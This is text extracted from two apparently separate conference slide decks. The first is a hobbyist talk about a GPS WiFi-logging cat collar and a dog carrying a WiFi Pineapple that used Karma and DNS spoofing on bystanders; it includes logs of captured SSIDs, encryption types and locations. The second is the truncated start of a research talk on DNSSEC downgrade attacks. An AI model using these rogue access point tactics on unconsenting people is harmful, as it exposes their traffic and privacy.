– Didn’t have libraries for the stuff I needed!
• To spite that, VERY COOL!
• Dedicated core group of developers!
– Shout out to peekay123!
• Lets see what happens…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Libraries!
• Someone Posted SD Card Libraries to
the forums!
– They Compiled! !
• Someone posted GPS libraries to the
forums…!
– They Compiled & Worked with GPS Shield!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
WiFi Libraries!
• …no readily available stuff for what I
wanted to do!
• Spark is an “Internet of Things” device!
• WiFi as a service – not to mess with!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Adafruit FTW!!
• Adafruit CC3000 Breakout board!
• Libraries available on the Adafruit
website for Download!
• Messed with it earlier… let’s see if it
works!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
It WORKS!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
So now…!
• Got GPS working on Spark!
• Got SD compiled on Spark!
• Got SSID collection working on Spark!
• Now to work with tiny components!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Now, onto soldering!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Rule 1!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Rule 2!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Rule 3!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
First attempts went very well…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Testing…!
• At home everything went Great!!
• Took it out for a walk around the yard
and it was great!!
• Took it for a ride in the car and FAIL!!!
• What happened…?!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Spark Concept!
• Internet of Things device!
• Never meant to be disconnected from
the Internet!
• Encased in a “If status == WIFI_ON”
clause!
– Must be connected to a known WAP to
return true!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
What to do "!
• Noticed that I could scan SSID’s before I
associated with the AP!
• Removed code from clause!
• That’s all I need anyway!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
More testing…!
• Took it for a drive!
• Got Data back!!!!!
• Looked at the GPS cords… they were
off by about half a mile…!
• GPS Libraries were wrong!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
TinyGPS++!
• LOVE to use TinyGPS++!
– Everything I need!
– Didn’t work in Spark!
• How to Port Libraries? Talk to Bill!
• Rocket Science!
– Replace Arduino with Spark and fix what
blows up!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
It WORKS!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Next Problem!
• Power Consumption!
– How to do it best…?!
• Eflite 3.7v 500mAh batteries!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Testing for Power
Consumption!
• Originally tried cycling everything on and
off!
– That really didn’t work well!
• Put main chip in Deep sleep to save juice!
– Keep GPS chip on!
• Collections every 30 sec lasted 4 hours!
• Collections every 10 minutes lasted 8 hours!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Time to Make Collar!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Form Factor!
• DeSoldering is TWICE as much fun as
soldering!
– NOT!
• Internet again NOT helpful!
• YouTube makes it look TOO easy!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
NOVALabs Shout Out!
• Reston, VA!
• Ted!
– Mad Scientist/Evil Genius!
– Helped me learn EAGLE!
• Brian!
– Soldering Tutor!
– Right Iron, Right Solder!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Now… where my Maker’s at?!
• Need to make a cat collar…!
• How do I make a cat collar???!
– Lots of Ways!
• Friend Joe suggested ribbons!
– Sew them together!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Ribbon!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Get a Grandma!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Collar Assembly!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Volunteer Cat!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
So let’s PRACTICE first..!
• Let cat out with no-tech collar and see if
he tolerated it…!
• HE DID!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Old Way…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
New Collar!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Weight…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
So… New plan!
• Tech goes in the Collar!
• Collar goes on the cat…!
• Cat goes on a walk about…!
• Profit!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Initial results!
• …Nothing….!?!?!?!?!
• Put collar on cat!
• Cat walked under a bush!
• Hung out and licked himself for 20
minutes!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
New Deployment procedures!
• Let collar sit outside for 5-10 min!
• Bring cat to collar, put it on cat!
• Let cat go for a walk about…!
• …profit…!?!?!?????!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
SUCCESS!!!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Results!
Date%
Time%
Lat%
Lon%
SSID%
Signal%
Encrypt%
7/4/2014'
11:46:31'
39.09994'-76.******' walker2'
-87'WPA2'
7/4/2014'
11:46:31'
39.09994'-76.******' UDRK2'
-92'WEP'
7/4/2014'
11:46:31'
39.09994'-76.******' walker'
-83'WPA'
7/4/2014'
11:46:31'
39.09994'-76.******' KNPI1'
-95'WEP'
7/4/2014'
11:46:31'
39.09994'-76.******' HOME-BAC6'
-93'WPA2'
7/4/2014'
11:46:31'
39.09994'-76.******' 8NBN8'
-93'WPA2'
7/4/2014'
11:46:31'
39.09994'-76.******' sportsfans'
-96'WPA2'
7/4/2014'
11:46:31'
39.09994'-76.******' 6RZDB'
-95'WPA2'
7/4/2014'
11:51:38'
39.09986'-76.******' walker2'
-88'WPA2'
7/4/2014'
11:51:38'
39.09986'-76.******' 8NBN8'
-98'WPA2'
7/4/2014'
11:51:38'
39.09986'-76.******' KNPI1'
-95'WEP'
7/4/2014'
11:51:38'
39.09986'-76.******' sportsfans'
-96'WPA2'
7/4/2014'
11:51:38'
39.09986'-76.******' HOME-BAC6'
-94'WPA2'
7/4/2014'
11:51:38'
39.09986'-76.******' walker'
-83'WPA'
7/4/2014'
11:51:38'
39.09986'-76.******' NOTyourWiFi'
-94'WPA2'
7/4/2014'
11:56:46'
39.09987'-76.******' walker2'
-90'WPA2'
7/4/2014'
11:56:46'
39.09987'-76.******' VCET0'
-98'WEP'
7/4/2014'
11:56:46'
39.09987'-76.******' UDRK2'
-98'WEP'
7/4/2014'
11:56:46'
39.09987'-76.******' 8NBN8'
-96'WPA2'
7/4/2014'
11:56:46'
39.09987'-76.******' walker'
-81'WPA'
7/4/2014'
11:56:46'
39.09987'-76.******' P41R1'
-95'WEP'
7/4/2014'
11:56:46'
39.09987'-76.******' KNPI1'
-94'WEP'
7/4/2014'
11:56:46'
39.09987'-76.******' HOME-BAC6'
-92'WPA2'
7/4/2014'
11:56:46'
39.09987'-76.******' NOTyourWiFi'
-96'WPA2'
7/4/2014'
11:56:46'
39.09987'-76.******' 6RZDB'
-94'WPA2'
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Video!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Coco!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Results!
Date%
Time%
Lat%
Lon%
SSID%
Signal% Encrypt%
7/19/2014'
16:59:07'
38.94373'-77.******' 6WWV8'
-94'WPA2'
7/19/2014'
16:59:07'
38.94373'-77.******' CROWLEY'
-93'WEP'
7/19/2014'
16:59:07'
38.94373'-77.******' DIRECT-roku-09C2C5'
-88'WPA2'
7/19/2014'
16:59:07'
38.94373'-77.******' xfinitywifi'
-82'OPEN'
7/19/2014'
16:59:07'
38.94373'-77.******' CoxWiFi'
-80'OPEN'
7/19/2014'
16:59:07'
38.94373'-77.******' CableWiFi'
-80'OPEN'
7/19/2014'
17:04:16'
38.94365'-77.******' Apple'Network'6b7973'
-89'WPA2'
7/19/2014'
17:04:16'
38.94365'-77.******' 6WWV8'
-92'WPA2'
7/19/2014'
17:04:16'
38.94365'-77.******' CQXPP'
-76'WPA2'
7/19/2014'
17:04:16'
38.94365'-77.******' P6829'
-96'WPA2'
7/19/2014'
17:09:25'
38.94386'-77.******' NETGEAR'
-94'WPA2'
7/19/2014'
17:09:25'
38.94386'-77.******' DIRECT-roku-409'
-93'WPA2'
7/19/2014'
17:14:34'
38.9435'-77.******' 7LXJ3'
-83'WEP'
7/19/2014'
17:14:34'
38.9435'-77.******' peri'
-93'WPA'
7/19/2014'
17:14:34'
38.9435'-77.******' Ward3DC'
-88'WPA2'
7/19/2014'
17:14:34'
38.9435'-77.******' MYI14'
-96'WEP'
7/19/2014'
17:19:43'
38.94323'-77.******' 7LXJ3'
-94'WEP'
7/19/2014'
17:19:43'
38.94323'-77.******' LuckyWhale_2GEXT'
-93'WPA2'
7/19/2014'
17:24:52'
38.94373'-77.******' LKMY4'
-96'WPA2'
7/19/2014'
17:24:52'
38.94373'-77.******' MYI14'
-94'WEP'
7/19/2014'
17:40:19'
38.94316'-77.******' LuckyWhale_2GEXT'
-92'WPA2'
7/19/2014'
17:40:19'
38.94316'-77.******' Motyka'Wireless'
-88'WPA'
7/19/2014'
17:40:19'
38.94316'-77.******' Ward3DC'
-90'WPA2'
7/19/2014'
17:40:19'
38.94316'-77.******' SXJ32'
-94'WPA2'
7/19/2014'
17:40:19'
38.94316'-77.******' Q8ZS7'
-96'WEP'
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Video!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
That’s the WarKitteh!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Denial of Service Dog!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
DoS Dog!
• So…. More trolling than anything!
• WiFi Pineapple!
– Procured at ShmooCon!
• TV B Gone!
– Adafruit/RadioShack!
• Doggie Backpack with “Denial of Service
Dog” patches!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
WiFi Pineapple!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
What I’m gonna do is…!
• Karma!
– Answers Probes!
• DNS Spoof!
– Redirects all things to Pineapple!
• randomroll…!
– ‘cause RickRoll makes trolling better!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
TV B Gone …in pieces.!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
TV B Gone!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Some minor modifications…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Patches!
• WHOLLY Crap! What a pain in the butt!!
• Nobody does it anymore!
• ‘Cept Irina & Friends at JoAnn’s Fabrics
in Sterling, VA!
– Thank Jesus!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Victory!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Demo Video!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Demo Video!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Volunteer Dog!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Volunteer Dog!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Volunteer Dog!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Volunteer Dog Ready to Go!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Putting it on a Doggie
Backpack!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Top View!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
LEDs…!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Dog will Shake!
• TV B Gone wasn’t designed to be
shaken in the manner in which V-dog
was shaking..!
• Also set off the TV-B-Gone!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Restaruant!
Denial'Of'
Service'Dog'
menu'
Do'you'mind'if''
We'come'in?'
Sure!''Want''
Something'to'drink?'
Peanut'bufah'
jelly'hme!!!'
Why'does'it'say''
Denial'of'Service''
''''''''''''''dog?'
Love!?'
Play!?'
'
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Sports Bar!
Denial'Of'
Service'Dog'
GOAL!!!!'
Never'gonna''
give'you'up…'
BALL!
!!!'
QUE?!'
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Box Store!
Denial'Of'
Service'Dog'
Best'
STORE'
Do'you'mind'if''
We'come'in?'
Sure!'Make'sure'he'
Doesn’t'poop'on'anything'
Jar'Jar'
LOVE'
YOU!!!'
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Box Store Cont…!
Denial'Of'
Service'Dog'
Best'
STORE'
GOAL!!!!'
GOAL!!!!'
Circus'Afro'
Circus'Afro'
SQUIRREL!'
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Results… "!
• According to results, several hapless
victims connected to Karma/Denial of
Service dog!
– Logging Fail!
• Only one person asked about “Denial
Of” service dog!
• Most people said “NICE DOGGY!”!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
So What Have We Learned???!
• A tech hobbyist with no prior firmware
experience can create a functional WarKitteh
Collar in a short amount of time.!
• In 2014 there are STILL unsecured WiFi hotspots!
• Lots of devices still probe!
• Still no patch for human stupidity!
• Cats – AND DOGS – are really hard to work with!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Shout out!
• Jeremyblum.com!
• Adafruit.com!
• Sparkfun.com!
• Spark.io!
• Arduino.cc!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Oh BTW!
• JK Devices (jkdevices.com)!
– Complete Scam!
– Don’t waste your money!
• No emails!
• No contact!
• No Product!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Thanks!
• Reeves!
• Bill!
• Joe!
• Joey!
• Nancy!
• Ricky!
• V-dog.owners!
• Spark.io Guys!
• NoVaLabs Guys!
• V-dog!
• Skitzy!
• Coco!
• Tenacity!
• DefCon!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
DefCon Activities!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
DefCon WarKitteh!
!
WarKi7eh%
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
BadKitty!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Walking The Strip!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
All Kinds of People!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Street Performers!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Monuments!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Willing Participants!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Drunk Participants!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Results!
Date%
Time%
Lat%
Lon%
SSID%
Signal% Encrypt%
8/9/2014'
5:34:42'
36.12057'
-115.173'Cox-Mirage-Rooms'
-94'OPEN'
8/9/2014'
5:34:42'
36.12057'
-115.173'AirOne'
-90'WPA2'
8/9/2014'
5:34:42'
36.12057'
-115.173'porfhru'
-90'OPEN'
8/9/2014'
5:39:52'
36.11833'
-115.173'afwifi'
-71'OPEN'
8/9/2014'
5:39:52'
36.11833'
-115.173'hetwrls'
-80'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'Gertrude'
-80'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'i5875b'
-86'WEP'
8/9/2014'
5:39:52'
36.11833'
-115.173'ALPHA'
-96'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'GAMMA'
-94'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'hwip'
-89'OPEN'
8/9/2014'
5:39:52'
36.11833'
-115.173'MOTOMESH'
-76'OPEN'
8/9/2014'
5:39:52'
36.11833'
-115.173'BETA'
-94'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'PENTA'Guest'Access'
-83'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'PENTA'
-82'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'cpc'
-96'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'ORCH'
-94'WPA2'
8/9/2014'
5:39:52'
36.11833'
-115.173'LINQ'
-90'OPEN'
8/9/2014'
5:45:01'
36.11575'
-115.173'Flamingo-Rooms-Cox'
-89'OPEN'
8/9/2014'
5:45:01'
36.11575'
-115.173'MOTOMESH'
-81'OPEN'
8/9/2014'
5:45:01'
36.11575'
-115.173'afwifi'
-73'OPEN'
8/9/2014'
5:45:01'
36.11575'
-115.173'CROMWELL'
-88'OPEN'
8/9/2014'
5:45:01'
36.11575'
-115.173'GJJ'
-93'WPA2'
8/9/2014'
5:45:01'
36.11575'
-115.173'GAMMA'
-86'WPA2'
8/9/2014'
5:45:01'
36.11575'
-115.173'ALPHA'
-84'WPA2'
8/9/2014'
5:45:01'
36.11575'
-115.173'DELTA'
-86'WPA2'
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Video… er… PIC!!!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
DefCon DoS Dog!
DoS%Dog%
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
SkyDog!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
CNN Kitteh!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
Questions?!
© 2013 tenacitysolutions.com 1835 Alexander Bell Dr. Suite 100, Reston, VA 20191 703-673-3100
That’s all Folks! | pdf |
#BHUSA @BlackHatEvents
DNSSEC Downgrade Attacks
Haya Shulman, Elias Heftrig, Michael Waidner
#BHUSA @BlackHatEvents
Information Classification: General
Why DNSSEC Downgrade Attacks?
DNS is involved in virtually all transactions on the Internet and many mechanisms rely on its security
➢ when determining which IP host to send packets to
➢ password recovery
➢ ACME/Domain Validation for obtaining X.509/HTTPS Certificates
➢ authorization of X.509 CAs and authentication of certificates
➢ also: SSH host key fingerprints, IPSec Keys, …
DNSSEC is the go-for solution to achieve DNS record security
➢ while everybody here has probably heard of downgrade attacks on TLS
➢ downgrade attacks on DNSSEC have not seen much attention up until now
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
➢ DNS(SEC) Refresher
➢ DNSSEC Downgrade Attacks
➢ Attacks to Weaken Security
➢ Attacks to Break Security
➢ Recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
➢ DNS(SEC) Refresher
➢ DNSSEC Downgrade Attacks
➢ Attacks to Weaken Security
➢ Attacks to Break Security
➢ Recommendations
#BHUSA @BlackHatEvents
Information Classification: General
DNS Resolution – Common Setup
Stub Resolver
Forwarder
Recursive Resolver
.
ing.
bank.ing.
Authoritative Name Server
Application
gethostbyname(“www.bank.ing.”)
www.bank.ing. IN A?
bank.ing. 3600 IN NS ns.bank.ing.
1
2
3
4
5
6
7
8
9
A
B
C
#BHUSA @BlackHatEvents
Information Classification: General
DNS Poisoning
Stub Resolver
Forwarder
Recursive Resolver
.
ing.
bank.ing.
Authoritative Name Server
Application
gethostbyname(“www.bank.ing.”)
www.bank.ing. IN A?
www.bank.ing. 2600 IN A 6.6.6.6
➢ Attack on DNS Record Authenticity
#BHUSA @BlackHatEvents
Information Classification: General
DNS Poisoning
Stub Resolver
Forwarder
Recursive Resolver
.
ing.
bank.ing.
Authoritative Name Server
Application
gethostbyname(“www.bank.ing.”)
www.bank.ing. IN A?
www.bank.ing. 2600 IN A 6.6.6.6
➢ Attack on DNS Record Authenticity
#BHUSA @BlackHatEvents
Information Classification: General
Secure DNS in Practice
Stub Resolver
Forwarder
Recursive Resolver
.
ing.
bank.ing.
Authoritative Name Server
Application
Local Host
DoH/DoT
DoU + DNSSEC
➢ Session maintenance too expensive for recursive-to-authoritative communication
#BHUSA @BlackHatEvents
Information Classification: General
DNSSEC
Protection Goals Provided For
➢ data origin authenticity
➢ integrity of data
➢ NOT confidentiality
Basic Principle
➢ protection of DNS data using cryptographic signatures
➢ trust in public keys delegated via a PKI
➢ built into and aligned with the DNS hierarchy
#BHUSA @BlackHatEvents
Information Classification: General
DNSSEC Chain of Trust
“RRSIG” Signature Records
➢ cover record sets (“RRset”; same name, type and class)
DNSKEY Records
➢ carry public key material for verification
DS “Delegation Signer” Records
➢ carry digest of individual child zone DNSKEY
➢ conform to “certificates” in other PKIs
All DNSSEC records specify signature algorithm numbers.
DS records specify digest type numbers.
.
DS: org.
2 → 13
DNSKEY: .
8
8
example.org.
A: www.example.org.
1.2.3.4
DNSKEY: example.org.
8
org.
DS: example.org.
DNSKEY: org.
13
13
2 → 8 4 → 8
8
13
8
#BHUSA @BlackHatEvents
Information Classification: General
Protection of (Non-)Existence
Authenticated Denial of Existence
➢ uses (signed) NSEC-type records to mark empty intervals in the name space
➢ specifies record types present at interval boundaries
➢ does not protect record presence at the level of signature algorithms
DNSSEC Record Presence Requirement for Signature Algorithms
DS → DNSKEY → RRSIGs on all zone data
•
∃ 𝐷𝑅 𝑤𝑖𝑟ℎ 𝑎𝑙𝑔𝑙𝑟𝑖𝑟ℎ𝑙 𝑎 ⇒ ∃ 𝐷𝑁𝑅𝐾𝐷𝑌 𝑤𝑖𝑟ℎ 𝑎𝑙𝑔𝑙𝑟𝑖𝑟ℎ𝑙 𝑎
•
∃ 𝐷𝑁𝑅𝐾𝐷𝑌 𝑤𝑖𝑟ℎ 𝑎𝑙𝑔𝑙𝑟𝑖𝑟ℎ𝑙 𝑎 ⇒ ∀ 𝑅𝑅𝑟𝑒𝑟𝑟 𝑖𝑙 𝑧𝑙𝑙𝑒: ∃ 𝑅𝑅𝑅𝐼𝐺 𝑤𝑖𝑟ℎ 𝑎𝑙𝑔𝑙𝑟𝑖𝑟ℎ𝑙 𝑎
#BHUSA @BlackHatEvents
Information Classification: General
DNSSEC Signature Algorithms
Number
Mnemonics
DNSSEC Signing
DNSSEC Validation
1
RSAMD5
MUST NOT
MUST NOT
3
DSA
MUST NOT
MUST NOT
5
RSASHA1
NOT RECOMMENDED
MUST
6
DSA-NSEC3-SHA1
MUST NOT
MUST NOT
7
RSASHA1-NSEC3-SHA1
NOT RECOMMENDED
MUST
8
RSASHA256
MUST
MUST
10
RSASHA512
NOT RECOMMENDED
MUST
12
ECC-GOST
MUST NOT
MAY
13
ECDSAP256SHA256
MUST
MUST
14
ECDSAP384SHA384
MAY
RECOMMENDED
15
ED25519
RECOMMENDED
RECOMMENDED
16
ED448
MAY
RECOMMENDED
253
PRIVATE
(MAY)
(MAY)
254
PRIVATE (OID)
(MAY)
(MAY)
➢ Rules for Algorithm Support in DNSSEC Software, acc. [RFC8624]
ECDSA
EdDSA
private
~ more secure
phasing out
phasing in
SHA1
RSA
#BHUSA @BlackHatEvents
Information Classification: General
DNSSEC DS Digest Types
Number
Mnemonics
DNSSEC Delegation
DNSSEC Validation
1
SHA-1
MUST NOT
MUST
2
SHA-256
MUST
MUST
3
GOST R 34.11-94
MUST NOT
MAY
4
SHA-384
MAY
RECOMMENDED
➢ Rules for DS Digest Type Support in DNSSEC Software, acc. [RFC8624]
in active use
#BHUSA @BlackHatEvents
Information Classification: General
Investigated Domains
Signed Domains
➢ 1373 Top-Level Domains (of 1487)
➢ 20083 Tranco Domains (of Top 500k)
➢ disregarding app. 9k domains without a validation path from the DNS root
92.33%
7.77%
Signed TLDs
Signed
Insecure
4.02%
95.98%
Signed Tranco Top 500k
Signed
Insecure
#BHUSA @BlackHatEvents
Information Classification: General
Investigated Resolvers
Resolvers
➢ 9 resolvers in the lab (Bind, Unbound, Knot, PowerDNS; 5 Windows Server Versions)
➢ 8 popular open resolver services (Google, Cloudflare, …)
➢ 15k openly accessible resolvers from a port scan on the IPv4 address space (app. 3k validating resolvers)
79.91%
20.09%
Validating Open Resolvers
Insecure
Validate
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
➢ DNS(SEC) Refresher
➢ DNSSEC Downgrade Attacks
➢ Attacks to Weaken Security
➢ Attacks to Break Security
➢ Recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade Attacks on DNSSEC
Attacker Model: On-path Attacker (~ Threat Model of DNSSEC)
➢ positioned between the resolver and the authoritative server
➢ can send, read, modify, duplicate, delay, suppress, … messages
➢ does not know cryptographic secrets
Further Assumptions (to keep explanations simple)
➢ attacker can cause trigger resolution by the resolver
➢ empty caches
Recursive Resolver
Authoritative Name Server
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade Attacks on DNSSEC
Recursive Resolver
Authoritative Name Server
ns.bank.ing. A?
ns.bank.ing
bank.ing. DNSKEY?
ns.bank.ing. A?
www.bank.ing. A?
1
2
3
4
5
8
9
7
6
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
➢ DNS(SEC) Refresher
➢ DNSSEC Downgrade Attacks
➢ Attacks to Weaken Security
➢ Attacks to Break Security
➢ Recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Attacks to Weaken Security
Goal
➢ make the resolver use the weakest possible validation path
➢ and attack that weakest link in the chain of trust
➢ (very) roughly conforms to downgrade to “Export” in SSL
Presented here
➢ Downgrading to a weaker DS digest
➢ Downgrading to a weaker signature
#BHUSA @BlackHatEvents
Information Classification: General
The Case of SHA-1 in DNSSEC
A Note on SHA-1
➢ “broken” in terms of cryptanalysis
➢ practical attacks on DNSSEC are expected in the near future
➢ attacks for non-DNSSEC cases have been demonstrated in 2019
SHA-1 in DNSSEC
➢ being phased out since about 2019, but still widely used
➢ algorithms 5 and 7 (“NOT RECOMMENDED”)
➢ digest type 1 (“MUST NOT”)
➢ resolvers must still support it
➢ virtually all do
➢ Shares of Secure Zones using SHA-1
DS
DNSKEY
TLDs
any
8.64%
4.10%
exclusively
0.22%
3.30%
Tranco
any
11.33%
6.22%
exclusively
3.38%
5.81%
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker DS Digest
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker DS Digest
bank.ing
DNSKEY: bank.ing
8
A: ns.bank.ing
1.2.3.4
ing
DNSKEY: ing
8
8
DS: bank.ing
1 → 8 2 → 8
Preconditions
➢ two DS records in parent zone
